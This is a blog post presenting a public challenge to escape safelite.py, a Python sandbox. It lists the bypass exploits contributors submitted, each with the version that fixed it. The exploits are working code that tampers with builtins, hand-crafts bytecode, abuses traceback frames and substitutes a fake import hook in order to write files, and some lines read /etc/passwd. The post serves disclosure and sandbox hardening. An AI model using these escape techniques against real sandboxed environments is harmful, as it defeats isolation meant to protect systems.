Share !

I'm Tav, a 29yr old from London. I enjoy working on large-scale social, economic and technological systems.

Follow
Contact
A Challenge To Break Python Security

Update: You can find out more in my new article: Paving the Way to Securing the Python Interpreter

The challenge is simple:

  • Open a fresh Python interpreter and do:

    >>> from safelite import FileReader
  • You can use FileReader to read files on your filesystem

  • Now find a way to write to the filesystem from your interpreter

You can find the latest version of safelite.py here:

I will keep safelite.py updated as new exploits and workarounds are found until we hopefully end up with a version we can be confident about. [VERSION attribute added on Steven D'Aprano's recommendation.]

If enough smart hackers look at this and it holds up, Guido promises to accept a patch which would enable this function-based approach to security on both App Engine and future Python versions.

So, please try the challenge and let me know how you find it in the comments. Thanks!

Note: The aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count.

Good luck and thanks! =)

Exploits Found & Fixed So Far:

  • Victor Stinner and Tim Wintle found the first exploit:

    >>> reload(__builtins__)
    <module '__builtin__' (built-in)>

    >>> open('0wn3d', 'w').write('w00t\n')

    [Fixed in v2]

  • Guido van Rossum and Mark Eichin came up with this devious:

    >>> class S(str):
    ... def __eq__(self, o): return 'r' == o

    >>> f = FileReader('w00t', S('w'))

    >>> f.close() # creates an empty file called 'w00t'

    [Fixed in v3]

  • clsn took it further and bypassed the fix in v4:

    >>> class S(str):
    ... def __eq__(self, o): return 'r' == o
    ... def __str__(self): return self

    [Fixed in v5]

  • Mike Rooney started messing with the assumptions of builtins being unaltered:

    >>> __builtins__.str = S

    [Fixed in v5]

  • Farshid Lashkari then took it to a whole new elegant level:

    >>> _real_file = None

    >>> def _new_isinstance(obj,types):
    ... global _real_file
    ... if _real_file is None and obj.__class__.__name__ == 'file':
    ... _real_file = obj.__class__
    ... return _old_isinstance(obj,types)

    >>> __builtins__.isinstance = _new_isinstance
    >>> FileReader('nul')

    >>> f = _real_file('foo.txt', 'w')

    [Fixed in v5]

  • Guido van Rossum noted that FileReader's __metaclass__ was accessible:

    >>> f = FileReader('/etc/passwd')
    >>> kall = f.__class__.__metaclass__.__call__.im_func

    >>> kall(f.__class__.__metaclass__, [('foo', 47)])
    <type 'list'>

    >>> f.__class__.__metaclass__.foo
    47

    [Locked-down in v6 before he could do any real damage ;p]

  • Paul Cannon did the unexpected with his super hardcore exploit:

    >>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(
    ... 2, 2, 4, 67,
    ... 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
    ... (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)
    ... )

    >>> try:
    ... FileReader('foo', 2)
    ... except:
    ... pass

    >>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

    [Fixed in v6 — but the principles can still be used. Paul Cannon explains in depth.]

  • Daniel Diniz emailed in with this devastating mugging:

    from safelite import FileReader

    # Let's build a fake module
    warnings = __builtins__.__class__('warnings')

    # Fill it with deception
    warnings.default_action = "ignore"

    # And provide a supporting thug
    def __import__(*args):
    print args
    try:
    print "How nice:\n", args[1].keys()
    global sys
    sys = args[1]['sys']
    except Exception, v:
    print "Exception:", v
    return warnings

    # Put the bogus module at the doorstep...
    __builtins__.warnings = warnings

    # and have the thug replacing the doorman
    __builtins__.__import__ = __import__

    # An unsuspecting costumer passes by...
    FileReader('safelite.py').seek(1.1)

    # ... and is brutally mugged :)
    print sys
    print dir(sys)

    [Fixed in v7]

  • Nick Coghlan got evil with context managers:

    >>> class EvilCM(object):
    ... def __enter__(self):
    ... return self
    ... def __exit__(self, exc_type, exc, tb):
    ... tb.tb_next.tb_frame.f_locals['open_file']('w00t', 'w').write('yay!\n')
    ... return True

    >>> with EvilCM():
    ... FileReader(10, 12)

    [Fixed in v8]

  • Guido van Rossum emailed in with ways to trick trusted code to evaluate unsafe code in its own globals!! [See also his similar hack with eval in the comments below].

    >>> f = FileReader('/etc/passwd')
    >>> f.__class__.__int__ = input

    >>> f.read(f)
    (fileobj.__class__('/tmp/w00t', 'w').write('w00t\n'), 0)[1]

    [Fixed in v9]

Found an exploit yet?? Try safelite.py and let me know!